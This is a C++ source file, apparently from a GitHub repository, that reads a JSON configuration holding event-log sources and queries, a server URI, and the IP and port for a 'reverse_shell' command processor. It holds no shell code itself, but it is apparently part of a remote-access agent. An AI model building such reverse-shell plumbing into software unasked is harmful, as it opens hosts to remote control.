-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathConfigReader.cpp
115 lines (95 loc) · 3.81 KB
/
ConfigReader.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <iostream>
#include <fstream>
#include "nlohmann/json.hpp"
#include "ConfigReader.hpp"
ConfigReader::ConfigReader(
const std::filesystem::path& configFilePath
) : configFilePath(configFilePath) {
jsonObject = parseJsonFile(configFilePath);
}
nlohmann::json ConfigReader::parseJsonFile(const std::filesystem::path& configFilePath)
{
nlohmann::json jsonObject;
try {
// Read the JSON file
std::ifstream configFile(configFilePath);
if (!configFile.is_open()) {
std::cerr << "Failed to open the file: " << configFilePath << std::endl;
return 1;
}
configFile >> jsonObject;
configFile.close();
std::cout << "Successfully read the JSON file: " << configFilePath << std::endl;
}
catch (const std::ifstream::failure& e) {
std::cerr << "Exception opening/reading/closing file: " << e.what() << std::endl;
jsonObject = nullptr;
}
catch (const nlohmann::json::parse_error& e) {
std::cerr << "JSON parsing error: " << e.what() << std::endl;
jsonObject = nullptr;
}
catch (const std::exception& e) {
std::cerr << "Exception: " << e.what() << std::endl;
jsonObject = nullptr;
}
return jsonObject;
}
std::vector<std::pair<std::wstring, std::wstring>> ConfigReader::getPathQueryPairs()
{
std::vector<std::pair<std::wstring, std::wstring>> pathQueryPairs;
// Check if "event_processor" and "source" exist
if (jsonObject.find("event_processor") != jsonObject.end() &&
jsonObject["event_processor"].find("source") != jsonObject["event_processor"].end()) {
auto sourceArray = jsonObject["event_processor"]["source"];
// Iterate over the "source" array
for (const auto& sourceObj : sourceArray) {
// Check if "path" and "query" exist in sourceObj
if (sourceObj.find("path") != sourceObj.end() && sourceObj.find("query") != sourceObj.end()) {
std::string path = sourceObj["path"];
std::wstring pwsPath = std::wstring(path.begin(), path.end());
std::string query = sourceObj["query"];
std::wstring pwsQuery = std::wstring(query.begin(), query.end());
pathQueryPairs.push_back(std::make_pair(pwsPath, pwsQuery));
} else {
pathQueryPairs.clear();
break;
}
}
} else {
pathQueryPairs.clear();
}
return pathQueryPairs;
}
std::string ConfigReader::getServerUri()
{
if (jsonObject.find("uri") != jsonObject.end()) {
return jsonObject["uri"];
} else {
// Handle missing "uri"
// For example, log an error, throw an exception, or return a default value
return ""; // Returning an empty string as an example
}
}
std::string ConfigReader::getServerReverseShellIp()
{
if (jsonObject.find("command_processor") != jsonObject.end() &&
jsonObject["command_processor"].find("reverse_shell") != jsonObject["command_processor"].end()) {
return jsonObject["command_processor"]["reverse_shell"]["ip"];
} else {
// Handle missing "command_processor" or "reverse_shell"
// For example, log an error, throw an exception, or return a default value
return ""; // Returning an empty string as an example
}
}
int ConfigReader::getServerReverseShellPort()
{
if (jsonObject.find("command_processor") != jsonObject.end() &&
jsonObject["command_processor"].find("reverse_shell") != jsonObject["command_processor"].end()) {
return jsonObject["command_processor"]["reverse_shell"]["port"];
} else {
// Handle missing "command_processor" or "reverse_shell"
// For example, log an error, throw an exception, or return a default value
return -1; // Returning -1 as an example
}
}